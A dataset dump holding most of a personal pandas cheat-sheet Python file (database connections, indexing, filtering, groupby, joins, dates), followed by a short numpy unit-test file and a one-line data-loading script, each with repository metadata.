sqlalchemy.create_engine('sqlite:///my_db.sqlite')\r\n\r\n    # postgres connection\r\nimport psycopg2 \r\nconn = psycopg2.connect(database=\"postgres\", user=\"postgres\", password=\"***\", host=\"127.0.0.1\", port=\"5432\")\r\n    # OR use sqlalchemy, which supports most databases\r\n    # database engine + database connector package://username:password @ host ip / database? client encoding\r\n    # latin1 or utf8 depending on client encoding\r\nfrom sqlalchemy import create_engine\r\nimport psycopg2\r\nconn = create_engine('postgresql+psycopg2://postgres:password@localhost:5432/postgres?client_encoding=latin1') # postgres\r\nconn = create_engine('mysql+pymysal://{}:{}@{}:{}/{}'.format(username, password, address, port, db_name)) # mysql \r\nquery = ''' SELECT * FROM customer  '''\r\n\r\n# reading from sql\r\ndf = pd.read_sql(query, conn)\r\ndf = pd.read_sql_query(query, conn)\r\n\r\n# upload dataframe to database as new table by default (use if_exist for appending), only available using sqlalchemy as engine\r\n# if_exists can 'replace' entire table, default is fail\r\ndf.to_sql(name='wsg_ap_list3', con=conn, index=False, if_exists='append') #OR\r\ndf.to_sql('pa', conn, if_exists='append', index=False, dtype='text')\r\n    # upload using chunk, per 1000 \r\ndf.to_sql('table', engine, chunksize=20000)\r\n\r\n#--------------------------------------------------------\r\n## INDEX NAMES\r\ndf.index\r\ndf['country'] = df.index #transfer index to a column\r\ndf = df.set_index('Gold') #set index from a column\r\n\r\ndf = df.set_index(['STNAME', 'CTYNAME']) #can set hierachical index\r\ndf.loc['Michigan', 'Washtenaw County'] #querying from index\r\n\r\ndf = df.reset_index(drop=True) #reset index; drop=True to remove original index as a column\r\n\r\ndf.loc['Animal'] #index name\r\ndf.iloc[5:10] #index location; row number\r\n\r\n    #iloc can also detect by both index & column\r\ndf.iloc[1,0] #index 1, column 0\r\ndf.iloc[:,0] #all index, column 0\r\n\r\n\r\n# ix indexing works just the same as .loc when passed strings\r\ndf.ix[['Andrade']] == df.loc[['Andrade']]\r\n# ix indexing works the same as .iloc when passed integers.\r\ndf.ix[[33]] == df.iloc[[33]]\r\n\r\n\r\n#--------------------------------------------------------\r\n## COLUMNS NAMES\r\n    ## identify column names\r\ndf.columns\r\ndf.columns[:2] ## first 3 columns\r\n    ## show column names and position\r\nx = 0\r\nfor i in df.columns:\r\n    print(x, i)\r\n    x += 1\r\n    #renaming columns\r\ndf.columns = ['newcolumn1', 'newcolumn2', 'newcolumn3'] #easiest way to change, but error if total columns does not match\r\ndf.name = 'Original' #changing pd.Series name\r\ndf2 = df.rename(columns={'diam_circle_image':'diameter','depth_rimfloor_topog':'depth', 'number_layers':'layers'})\r\nhdata2.rename(columns=dict(zip(hdata2.columns,date_change.tolist())), inplace=True) #change two lists into dictionary\r\ndf.columns = map(str.lower, df.columns) # change to lower case\r\n    #drop columns\r\ndf.drop(df.columns[[0, 1, 3]], axis=1)\r\ndf.drop('column_name', axis=1, inplace=True) #note that if inplace value is not set to true, need to reassign a new df\r\ndel df['column_name']\r\n    #choose column names by condition\r\ncol = [i for i in df.columns if i[-4:]=='2012']\r\n\r\n    #concat two lists of columns together\r\ndf[df.columns[1:11] | df.columns[12:14]]\r\n\r\n    #ordering columns in a df\r\ndf[sorted(df.columns.tolist())].head(3)\r\n    #specific ordering of columns\r\ndf = df[['a', 'b', 'd', 'c']]\r\n\r\n\r\n#--------------------------------------------------------\r\n## CREATE DATAFRAMES BASED ON UNIQUE COLUMN CATEGORY VALUE, STORED IN A DICT\r\n\r\n# https://datascience.stackexchange.com/questions/29825/create-new-data-frames-from-existing-data-frame-based-on-unique-column-values\r\n\r\n# store dataframes in dict, based on unique column value 'company_id'\r\ndict_of_companies = {key: value for key, value in df.groupby('company_id')}\r\n# get all keys\r\nkeys = [i for i in dict_of_companies]\r\n# print each dataframe out\r\nfor i in keys:\r\n    print(dict_of_companies[i])\r\n\r\n\r\n#--------------------------------------------------------\r\n## SET VALUES PER CELL, GOOD FOR ITERATION\r\ndf.set_value(i, 'Y_svy', svy[1]) # index, column name, value\r\n\r\n# new alternative\r\ndf.at[4, 'B'] = 10 # index, column name = value\r\ndf.at[4, 'B'] #querying a cell\r\n# >>> 10\r\n\r\n#--------------------------------------------------------\r\n## COUNTING\r\ndf['EVENT_TYPE'].value_counts()\r\n    # using groupby\r\ndf.groupby(['Fruit','Name'])['Number'].sum() #sum of Number grouping by fruit and name\r\ndf.groupby('name')['activity'].value_counts() #multi-dimension counts \r\ndf['number_layers'].value_counts(normalize=True)*100 # by percentage\r\ndf.describe()\r\n\r\n\r\n#--------------------------------------------------------\r\n## DELETE ROWS\r\ndf.drop(df.index[[2,3,10,20]])\r\n\r\n\r\n#--------------------------------------------------------\r\n## NAN NULL VALUES\r\n    # note that NAN is only for numerical null values\r\ndf.isnull().any().any() # is there any nan in entire dataframe? Boolean\r\ndf.isnull().values.sum() #total number of nan in dataframe? Value\r\ndf.isnull().any() # which column is the nan in? Boolean\r\ndf[df['Timestamp'].isnull()] #filter rows with nan\r\n\r\n# how many nan in each column? Value\r\ndf.isnull().sum() # by counts\r\ndf.isnull().sum() / len(df) # by percent\r\n#filter dataframe to only rows NaN of a specific column\r\ndf[df['colnm'].isnull()]\r\n\r\n    #drop NaN\r\ndf3 = df2.dropna() #drop all rows with nan in any columns\r\ndf3 = df2.dropna(how='all') #drop only rows with all nan values\r\ndf3 = df2.dropna(threa=2) #drop only rows with 2 or more nan values\r\ndf.dropna(subset=['x277_2012'],inplace=True) #drop all rows for specific columns\r\ndf[df['Col2'].notnull()] # same as above\r\n\r\n    #fill NaN\r\ndf = df.fillna(value=99) #change NaN a value\r\ndf = df.fillna(method='ffill') #forward filling, note need to sort index\r\ndf = df.fillna(method='bfill') #back filling, note to sort index\r\ndf['colname'].interpolate(method='linear', limit=2) #interpolation, very useful for timeseries\r\n\r\n    #set value as NaN\r\nimport numpy as np\r\ndf2=df2.replace('nan',np.nan)\r\ndf.replace({'99':np.nan}, inplace=True) #multiple rows\r\n\r\n    #select null within lambda\r\ndf['colnm'] = df['colnm'].apply(lambda x: '' if pd.isnull(x)) else x)\r\n\r\n\r\n\r\n#--------------------------------------------------------\r\n# CHECK NEGATIVE VALUES\r\n#entire df\r\nany(df<0) \r\n# each columns\r\nfor i in cfoul.columns:\r\n    if any(cfoul[i]<0) == True:\r\n        print(i)\r\n\r\n\r\n#--------------------------------------------------------\r\n## SORTING\r\n    # sort by index\r\ndf.sort_index(ascending=False) # reverse order\r\ndf.sort_values #note no brackets\r\n\r\n    # sort by value (column)\r\ndf.sort_values(ascending=False)\r\n\r\n    # sort 1 column out of many\r\ndf2=df[['country','x277_2012']]\r\ndf2.sort_values('x277_2012',ascending=False)\r\n    # sort multiple columns\r\ndf1.sort_values(['a', 'b'], ascending=[True, False])\r\ndf3[['a','b']].sort_values(['a','b'], ascending=[True, True]) # sort a first then b\r\n\r\n\r\n#--------------------------------------------------------\r\n## ENCODING\r\nencode = {'Y':0, 'N':1}\r\ndf['Hired'] = df['Hired'].map(encode)\r\n\r\n\r\n# Convert dummies back to single column\r\nwild_dummies = df[['Wilderness_Area1','Wilderness_Area2','Wilderness_Area3','Wilderness_Area4']]\r\nwild = wild_dummies.idxmax(axis=1)\r\nwild.name = 'Wilderness' # set pd.Series name\r\nwild = pd.concat([df2['Cover_Type'],wild], axis=1)\r\n\r\n#--------------------------------------------------------\r\n## STRING MANIPULATIONS\r\n    \r\ndf['column1'].str.len() # length of each cell\r\ndf['column1'].str.strip() # remove spacing front & back. such spaces is not visible in dataframe\r\n\r\n# regular expressions is also enabled here\r\ndf['text'].str.count(r'\\d') # find how many times a digit occurs in each string\r\ndf['text'].str.findall(r'(\\d?\\d):(\\d\\d)') # group and find the hours and minutes\r\ndf['text'].str.replace(r'\\w+day\\b', '???') # replace weekdays with '???'\r\ndf['text'].str.replace(r'(\\w+day\\b)', lambda x: x.groups()[0][:3]) # replace weekdays with 3 letter abbrevations\r\n    # Extract match to new columns\r\ndf['text'].str.extract(r'(\\d?\\d):(\\d\\d)') # create new columns from first match of extracted groups\r\ndf['text'].str.extractall(r'((\\d?\\d):(\\d\\d) ?([ap]m))') # extract the entire time, the hours, the minutes, and the period\r\ndf['text'].str.extractall(r'(?P<time>(?P<hour>\\d?\\d):(?P<minute>\\d\\d) ?(?P<period>[ap]m))') # extract the entire time, the hours, the minutes, and the period with group names\r\n\r\n\r\n#--------------------------------------------------------\r\n## FILTERING, SQL WHERE CLAUSE\r\ndf[:100] # first 100 rows\r\ndf[df['EVENT_TYPE'] == 'Thunderstorm Wind'] # one value\r\ndf[df['A'].str.contains(\"hello\")] # SQL like; cannot use if there are NaN values\r\ndf[df['EVENT_TYPE'].isin(['Thunderstorm Wind', 'Hail', 'Winter Weather'])] # multiple values, like an SQL where~in clause\r\n\r\n# Multiple Conditions, add parenthensis ()!\r\ndf3 = df2[(df2['layers']>0) & (df2['depth']>0)] # multiple columns using 'AND'\r\ndf3 = df2[(df2['layers']>0) | (df2['depth']>0)] # multiple columns using 'OR'\r\n\r\n# REMOVE ROWS\r\ndf = df[df['Rating'] != 3]\r\n\r\n# SQL NOT IN, note the curly '~' which act as a boolean\r\nlist = ['WORLD', 'INCOME', 'DEVELOPING']\r\ndf = df[~df['country'].isin(list)]\r\n# SQL NOT LIKE OR\r\nlist = ['WORLD', 'ALL', 'DEVELOPING', 'ASIA', 'OTHER', 'MEMBERS', 'INCOME', 'DEVELOPED',  \\\r\n        'COUNTRIES', 'SITUATIONS', 'EUROPE', 'STATES']\r\nfor i in list:\r\n    df = df[~df['country'].str.contains(i)]\r\n\r\n# FILTER ROWS WITH NAN\r\ndf[df['mgmtsalary'].isnull()]\r\n\r\n# FILTER ROWS WITHOUT NAN\r\ndf[df['mgmtsalary'].notnull()]\r\n\r\n# CHECK FOR ALPHA OR NUMERIC\r\ndf[colnm].str.isnumeric()\r\ndf[colnm].str.isalpha()\r\n\r\n# FILTER BY INDEX\r\nfilter_df  = df[df.index.isin(index_list)]\r\n\r\n\r\n#--------------------------------------------------------\r\n# set values within a for loop\r\nfor i in range(len(df)):\r\n    x = df[longtidue][i]\r\n    y = df[latitude][i]\r\n    svy = pyproj.transform(wgs84, svy21, x, y)\r\n    df.set_value(i, 'X_svy', svy[0]) # row_no, column_nm, value\r\n    df.set_value(i, 'Y_svy', svy[1])\r\n\r\n# set value for single cell\r\ndf = df.set_value(100, 'colnm', 'value') # row_no, column_nm, value\r\n\r\n#--------------------------------------------------------\r\n## UNIQUE VALUES, DUPLICATES\r\ndf.nunique() # unique values for each column\r\ndf['EVENT_TYPE'].unique() # single column, array\r\n    # multiple columns, dataframe\r\ndf[['EVENT_TYPE', 'EVENT_ID']].drop_duplicates() \r\n    # set for entire dataframe but target specific columns\r\ndf.drop_duplicates(subset=['col1', 'col2']) # only 1 the pair of a duplicate\r\ndf.drop_duplicates(subset=['A', 'C'], keep=False) # drop all duplicates\r\ndf.drop_duplicates(subset=['A', 'C'], keep='first') # keep only first of the pair of duplicates (default)\r\n    # display the duplicates only\r\ndf[df.duplicated(keep=False)] # all columns\r\ndf[df[['colA','colB']].duplicated(keep=False)] # specific columns\r\n    # count number of duplicates\r\nlen(df) - len(df.drop_duplicates())\r\n\r\n# comparing duplicates between two columns\r\ndf[df['States'].ne(df['Region'])]\r\n\r\n#group by, add a new count field for duplicate counts\r\ndf1 = pd.DataFrame(np.random.randint(1, 15, (100,4)), columns=['a','b','c','d'])\r\ndf1.groupby(df1.columns.tolist()).size().reset_index().rename(columns={0:'count'})\r\n\r\n    # sometimes, might need to change all to str first as nulls are interferring w groupby\r\ndf2 = (df.astype('str').groupby(df.columns.tolist()).size()\r\n         .sort_values(ascending=False)\r\n         .reset_index()\r\n         .rename(columns={0:'duplicates'})\r\n         .replace('nan',np.nan)) #set nulls back to NaN\r\n\r\n\r\n#--------------------------------------------------------\r\n## DROP ROW\r\n    # by index\r\ndf = df.drop(df.index[2938])\r\n\r\n\r\n#--------------------------------------------------------\r\n## NEW COLUMN CALCAULATIONS\r\n    ## SINGLE COLUMN CONDITION\r\n    ## by summing\r\ndf['TOTAL'] = df[df.columns[:]].sum(axis=1)\r\n\r\n    ## by function, single column condition\r\ndef timerange(x):\r\n    if x >= 0 and x < 3:\r\n        return '00:00-03:00'\r\n    elif x >= 3 and x < 6:\r\n        return '03:00-06:00'\r\n    else:\r\n        return '21:00-24:00'\r\ndf['time_range'] = df['hour'].apply(timerange, axis=1)\r\n\r\n    ## MULTIPLE COLUMN CONDITION\r\ndef peak(x):\r\n    if x['Public Holiday'] == 'National Day' or x['Public Holiday'] == 'New Year''s Day':\r\n        return 'Super Peak'\r\n    if x['dow'] == 'Sunday' or x['dow'] == 'Saturday' or x['dow'] == 'Friday':\r\n        return 'Peak'\r\n    else: \r\n        return 'Non-Peak'\r\ndf3['day_period'] = df3.apply(peak, axis=1)\r\n\r\n\r\n    ## lambda function iterates a simple function. x below refers to each row of Top15{'PopEst']\r\n    ## Note that lambda must contain if-else when using condition\r\nTop15['PopEst']=Top15['PopEst'].apply(lambda x: \"{:,}\".format(x))   \r\ndf['data']=df['data'].apply(lambda x: 'true' if x <= 2.5 else 'false')\r\ndf['date'] = df['raw'].str.extract('(....-..-..)', expand=False) #note that expand will split it into different columns\r\n    #for this case x refers to the entire dataframe, you have to specify the column within the function.\r\n    #this gives if else conditions from multiple columns\r\n    #have to include axis=1 or will prompt error\r\nticketcat['funpass_days'] = ticketcat.apply(lambda x: '2' if x['ItemDescription'].find('2Day')>=0 else x['funpass_days'],axis=1)\r\n\r\n\r\n    ## if else using np.where\r\ndf['logic'] = np.where(df['AAA'] > 5,'high','low')\r\n    \r\n    # calculating current to one row below\r\ndf['new'] = df['Reviewed']-df['Reviewed'].shift()\r\ndf['new'] = df['Reviewed'].diff() #this is more straightforward\r\n\r\n    ## quartile cut\r\ndf3['diameter2'] = pd.qcut(df3.diameter, 2, labels=['<50%','>50%'])\r\n    ## equal interval cut\r\ndf3['diameter2'] = pd.cut(df3.diameter, 2, labels=['<50%','>50%'])\r\n\r\ndf['hour'] = df['time'].str[:2] #select 1st 2 left characters in a string\r\n    ## multiple columns\r\ndf3['DIFF_DAY'] = df3['END_DAY']-df3['BEGIN_DAY']\r\n\r\n    ##Boolean, contains\r\ndf['StatesT']=df['states].str.contains('edit')\r\n\r\n    ## calculate new column row by row\r\nfor i in range(len(df)):\r\n    x = df[longtidue][i]\r\n    y = df[latitude][i]\r\n    svy = pyproj.transform(wgs84, svy21, x, y)\r\n    df.set_value(i, 'X_svy', svy[0]) #set_value(index, column, value)\r\n    df.set_value(i, 'Y_svy', svy[1])\r\n\r\n    ## regex\r\ndf['date'] = df['raw'].str.extract('(....-..-..)', expand=True) #extract\r\n# 0    2014-12-23\r\n# 1    2010-02-23\r\n# 2    2014-06-20\r\n# 3    2014-03-14       \r\ndf['node'] = df['node'].str.replace(r'[1-9]+\\s','') #replace\r\n\r\n\r\n    ## split by delimiter\r\n# example of value 'Online,Sales,Adult'\r\nticketcat['sales'] = ticketcat['TicketDescription'].apply(lambda x: x.split(',')[1])\r\nticketcat['medium'] = ticketcat['TicketDescription'].apply(lambda x: x.split(',')[0])\r\n\r\n    ## using numpy, if > 3, x=1 else x=0\r\ndf['Positively Rated'] = np.where(df['Rating'] > 3, 1, 0)\r\n\r\n\r\n    ## remove words duplicate, assuming there is a delimiter of '|' btw words\r\ndef removedup(x):\r\n    x = x.split('|')\r\n    x = set(x)\r\n    x = '|'.join(x)\r\n    return x\r\n\r\ndf['colnm'] = df['colnm'].apply(removedup)\r\ndf['colnm'] = df['colnm'].apply(lambda x: '|'.join(set(x.split('|')))) #alternatively\r\n\r\n                 \r\n#--------------------------------------------------------\r\n# SHIFT COLUMN VALUES UP OR DOWN; LAG OR LEAD\r\ndf['temp_observed'] = df['temp_observed'].shift(periods=1) #push column down by a row\r\ndf['temp_observed'] = df['temp_observed'].shift(periods=-1) #push column up by a row\r\n# compare row with previous\r\ndf['match'] = df.col1.eq(df.col1.shift())\r\n\r\n#--------------------------------------------------------\r\n# ITERATION\r\nfor index, row in df.iterrows():\r\n    print(index, row['Desert'])\r\n\r\n#--------------------------------------------------------\r\n# REPLACE VALUES\r\n    #option 1: single value\r\ndf = df.replace('value1', 'value2')\r\n    #option 2: multiple values\r\ndict={4:88, 1:11}\r\ndf1['a'].replace(dict,inplace=True)\r\n    #option 3\r\ndf['Country'].apply(lambda x: dict.get(x,x))\r\n    #option 4: replace part of string in value\r\nticketcat['price']=ticketcat['price'].str.replace('$', '')\r\n\r\n\r\n#--------------------------------------------------------\r\n# CONFUSION MATRIX\r\npd.crosstab(df['target'], df['predicted'])\r\n\r\n\r\n#--------------------------------------------------------\r\n## GROUP BY AND CALCULATING\r\ndf[['STNAME', 'COUNTY']].groupby(['STNAME']).sum() #SELECT sum(county), stname FROM tablenm GROUP BY stname\r\ndf3.groupby(['longitude', 'latitude']).count() #shows all column counts\r\ndf3.groupby(['longitude', 'latitude']).sum()\r\ndf.groupby(['LocationDescription','LocationCode']).size() #size include NAN counts, counts() does not, shows row size instead of columns\r\n\r\n    #group by to show just top 3 records for each STNAME\r\ndf.groupby(['STNAME']).head(3)\r\n\r\n## GROUPBY AGGREGATIONS \r\n# https://pandas.pydata.org/pandas-docs/version/0.23/generated/pandas.core.groupby.DataFrameGroupBy.agg.html\r\n\r\n    #multiple aggregations\r\nTop15.groupby('Continent')['PopEst'].agg({'size': np.count_nonzero, 'mean': np.mean, 'sum': np.sum, 'std': np.std})\r\n\r\n    #merge nearly duplicate rows based on column value\r\n    # https://stackoverflow.com/questions/36271413/pandas-merge-nearly-duplicate-rows-based-on-column-value\r\ndf.groupby(['Name','Sid','Revenue'])['Use_Case'].apply(''.join).reset_index()\r\ndf.groupby('Name').agg({'Sid':'first', \r\n                        'Use_Case': ', '.join, \r\n                        'Revenue':'first' }).reset_index()\r\n\r\n# GROUPBY OUTPUT AS A DATAFRAME\r\n    # note the as_index\r\ndf.groupby('StationID', as_index=False)['BiasTemp'].mean()\r\n#   StationID  BiasTemp\r\n# 0        BB       5.0\r\n# 1     KEOPS       2.5\r\n# 2    SS0279      15.0\r\n\r\n# GROUPBY & STORE AS A LIST OF DF\r\nlistdf = [df for date, df in df.groupby('date')]\r\n\r\n\r\n#--------------------------------------------------------\r\n## SIMPLE MATHS\r\nmax(df['Gold']) #get the max value in the column\r\nnew3['CENSUS2010POP'].nlargest(3) #get top 3 by number; note all columns still show\r\nnew3['CENSUS2010POP'].nsmallest(3) #get bottom 3 by number\r\n\r\nTop15['Avg']=Top15[df.columns[10:]].mean(axis=1) #mean for columns\r\n\r\nTop15[['est','cit']].corr() #default is pearson's; give a correlation matrix\r\n# can add method='pearson'\r\n\r\ndf2=df.pct_change() #difference of each row and the next with percentage. good for calculating stocks daily retuns\r\nsma10 = CMT['Close'].rolling(10).mean() #calcluating moving averages\r\ndf.std() #standard deviation\r\n\r\nCMT['Adj Close'].quantile(0.75) #get value by quantile, in this case 75%\r\n                \r\n\r\n#--------------------------------------------------------\r\n## TRANSPOSING\r\ndf.T\r\n\r\n#--------------------------------------------------------\r\n## JOINS\r\n# http://pandas.pydata.org/pandas-docs/stable/comparison_with_sql.html#compare-with-sql-join\r\n# http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.merge.html\r\n    #default is inner join\r\n    #can also use left_on=, right_on=\r\ndf = pd.merge(df1, df2, on='Country')\r\ndf = pd.merge(df1, df2, how='left', left_on=['id_key'], right_on=['fk_key']) #if join fields are different\r\ndf = pd.merge(df1, df2, how='left', left_on=['id_key','field2','field3'], right_on=['fk_key','field2','field3']) #multiple join fields\r\nhudf=pd.merge(hdf, ul, how ='left', on=['State','RegionName']) #join on multiple columns\r\n    #indicator give an additional field '_merge'.\r\n    # Can use groupby size to count number of 'left_only', 'right_only', or both\r\ndf=pd.merge(df1, df2, how='outer', on='Country', indicator=True)\r\ndf.groupby('_merge').size()\r\n\r\n\r\n    #join by index\r\ndf=pd.concat([df1,df2], axis=1, join_axes=[df1.index])\r\ndf=pd.concat([df1,df2], axis=1) #or if they are already sorted properly\r\n\r\n\r\n## UNION\r\ndf1=pd.read_csv('Redemption_Part1.csv')\r\ndf2=pd.read_csv('Redemption_Part2.csv')\r\ndf3=pd.read_csv('Redemption_Part3.csv')\r\nframes=[df1,df2,df3]\r\ndf_new = pd.concat(frames)\r\n\r\n\r\n## APPEND\r\ndf = df.append(df2, ignore_index=True)\r\n\r\n\r\n#--------------------------------------------------------\r\n## APPLY TO ALL CELLS IN DF\r\n\r\ndf.applymap(function_to_change)\r\n\r\n\r\n#--------------------------------------------------------\r\n## COMBINE TWO OR MORE DATAFRAMES\r\n\r\n# all must be numerical\r\n# sum\r\ndf1 + df2\r\n# multiply\r\ndf1 * df2\r\n\r\n#--------------------------------------------------------\r\n## ENCODE CATEGORICAL TO INTEGERS\r\n\r\ndf2['Gene'] = df2['Gene'].astype('category') # first change an object to category\r\ndf2['code'] = df2['Gene'].cat.codes     # then extract their code out\r\n# when training a model, can just use \".cat.codes\" to fit the model\r\n\r\n# or use the map function\r\nreplace = {'Logistics': 1, 'Commercial':2, 'Hospitality': 3, 'Retail': 4,\r\n           'Medical': 5, 'Industrial': 6, 'Retail/Commercial': 7}\r\ndf['Type_Cat'] = df['Type'].map(replace)\r\n\r\n#--------------------------------------------------------\r\n## DATES\r\n    #change string to date format\r\ncol = pd.to_datetime(df.columns[6:])\r\ncol = pd.to_datetime(df['date'],dayfirst=True)  #sometimes the auto-format is wrong, and you need specify dayfirst or yearfirst\r\ndf['timestamp'] = pd.to_datetime(df['timestamp'], format ='%d/%m/%Y') #sometimes the day, mth or yr are mixed up with each other, so we have to specify directly\r\ndf[\"timestamp\"] = pd.to_datetime(df[\"timestamp\"], format='%Y-%m-%d %H:%M:%S')\r\n\r\n    #set datetime col to index\r\ndf = df.set_index('datetime')\r\n\r\n    #aggregation by date intervals\r\n    #list of rules can be found in url: http://pandas.pydata.org/pandas-docs/stable/timeseries.html#offset-aliases\r\n    #date must be in index, while the dataframe contains only the col you want to aggregate\r\ndate=date.resample('Q').mean()  #by quarter, also (Day: D, Week: W, Month: M, Quarter: Q, Year: Y)\r\ndf.resample('1Min').mean()  #by seconds (1S), minutes (1Min)\r\n                 \r\n    #change date to string\r\ndate_yr=a['column_nm'].dt.strftime('%Y') #change to year\r\n\r\n    #change to hour / mth\r\ndf['hour'] = df['Time'].dt.hour\r\ndf['day'] = df['Time'].dt.day\r\ndf['mth'] = df['Time'].dt.month\r\ndf['dayofweek'] = df['timestamp'].dt.dayofweek\r\n    #change to day of week\r\ndf['day_of_week'] = df['my_dates'].dt.weekday_name\r\n    # change to date or time\r\ndf['date'] = df['datetime'].dt.date\r\ndf['time'] = df['datetime'].dt.time\r\n    #set constant for date, minute, second\r\ndf2['hour'] = pd.to_datetime('1900-01-01') + pd.to_timedelta(df3['Time'].dt.hour, unit='H')\r\n\r\n    # from epoch, i.e., seconds since 1970\r\n    # check datetime format: https://docs.python.org/2/library/datetime.html#strftime-strptime-behavior\r\ndfr['event_ts']=  dfr['Event-Timestamp'].apply(lambda x: time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(x)))\r\ndfr['event_ts']= pd.to_datetime(dfr['Event-Timestamp'], unit='s', errors='coerce') #note that this STILL needs to convert to local time\r\n\r\n\r\n    # filter by list of dates\r\ndf[df['Timestamp'].dt.date.isin(dates)]\r\n\r\n#--------------------------------------------------------\r\n## Split commas in cells and stack them in new rows\r\n    # https://stackoverflow.com/questions/17116814/pandas-how-do-i-split-text-in-a-column-into-multiple-rows\r\n    \r\n# 1) isolate column with comma, split them, and stack them as single rows\r\np = df['producer'].str.split(', ').apply(pd.Series, 1).stack()\r\n# 2) remove multi dimensions index\r\np.index = p.index.droplevel(-1)\r\n# 3) add series must have a name\r\np.name = 'producer'\r\n# 4) use inner join to add based on index value\r\ndf.join(p)\r\n\r\n\r\n#--------------------------------------------------------\r\n## STYLING\r\n# https://pbpython.com/styling-pandas.html\r\nimport seaborn as sns\r\ndf.style.background_gradient(cmap='Greens')", "meta": {"hexsha": "555897aec8a9d71b5f9750dea94f503143eea766", "size": 29774, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/pandas.py", "max_stars_repo_name": "mapattacker/cheatsheets", "max_stars_repo_head_hexsha": "e25bec531fdd06e01b39d6c55b11226ba26dac5b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2017-10-18T22:42:42.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-17T08:47:11.000Z", "max_issues_repo_path": "python/pandas.py", "max_issues_repo_name": "mapattacker/cheatsheets", "max_issues_repo_head_hexsha": "e25bec531fdd06e01b39d6c55b11226ba26dac5b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/pandas.py", "max_forks_repo_name": "mapattacker/cheatsheets", "max_forks_repo_head_hexsha": "e25bec531fdd06e01b39d6c55b11226ba26dac5b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2019-12-16T20:07:27.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-31T20:23:49.000Z", "avg_line_length": 39.1248357424, "max_line_length": 175, "alphanum_fraction": 0.618056022, "include": true, "reason": "import numpy", "num_tokens": 7996, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926492132671, "lm_q2_score": 0.13846179056896438, "lm_q1q2_score": 0.062223710878599466}}
{"text": "def test_uppercase():\n    assert \"loud noises\".upper() == \"LOUD NOISES\"\n\ndef test_reversed():\n    assert list(reversed([1, 2, 3, 4])) == [4, 3, 2, 1]\n\nimport numpy as np\n\ndef test_squaring():\n\t'Test calculating the element-wise square of an array'\n\ta = np.array([1., 2., 3.])\n\ta_squared = np.array([1., 4., 9.])\n\tnp.testing.assert_array_almost_equal(a**2, a_squared)\n\ndef test_sum():\n\ta = np.array([1.2, -1.0])\n\tassert a.sum() == 0.2\n\t# np.testing.assert_approx_equal(a.sum(), 0.2) # Try this instead!\n\n", "meta": {"hexsha": "2c5034ea1a68a05dadfbd5643342fee933f6ee7a", "size": 503, "ext": "py", "lang": "Python", "max_stars_repo_path": "2021/Day4_UT/UnitTests/test_stand_alone.py", "max_stars_repo_name": "afarnudi/ScientificSoftwareDevelopment", "max_stars_repo_head_hexsha": "c70f8b1c80d24dbcca12dbcca3722053954f7eaa", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "2021/Day4_UT/UnitTests/test_stand_alone.py", "max_issues_repo_name": "afarnudi/ScientificSoftwareDevelopment", "max_issues_repo_head_hexsha": "c70f8b1c80d24dbcca12dbcca3722053954f7eaa", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "2021/Day4_UT/UnitTests/test_stand_alone.py", "max_forks_repo_name": "afarnudi/ScientificSoftwareDevelopment", "max_forks_repo_head_hexsha": "c70f8b1c80d24dbcca12dbcca3722053954f7eaa", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.15, "max_line_length": 67, "alphanum_fraction": 0.6421471173, "include": true, "reason": "import numpy", "num_tokens": 169, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.13846179234652572, "lm_q1q2_score": 0.062223709635317696}}
{"text": "import numpy as np\r\nimport pandas as pd\r\n\r\ndata_url = 'https://github.com/ine-rmotr-projects/project-files/files/4086772/playstore.xlsx'\r\n", "meta": {"hexsha": "86e9bccf96f6ff510bf1541982908ee022f60ac7", "size": 138, "ext": "py", "lang": "Python", "max_stars_repo_path": "Reading Data/lesson-7-load-playstore-apps-excel-file-with-multiple-sheets/main.py", "max_stars_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_stars_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Reading Data/lesson-7-load-playstore-apps-excel-file-with-multiple-sheets/main.py", "max_issues_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_issues_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2022-01-11T21:04:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-11T21:05:05.000Z", "max_forks_repo_path": "Reading Data/lesson-7-load-playstore-apps-excel-file-with-multiple-sheets/main.py", "max_forks_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_forks_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.6, "max_line_length": 94, "alphanum_fraction": 0.768115942, "include": true, "reason": "import numpy", "num_tokens": 36, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926197162522, "lm_q2_score": 0.1384617852362804, "lm_q1q2_score": 0.06222370439792114}}
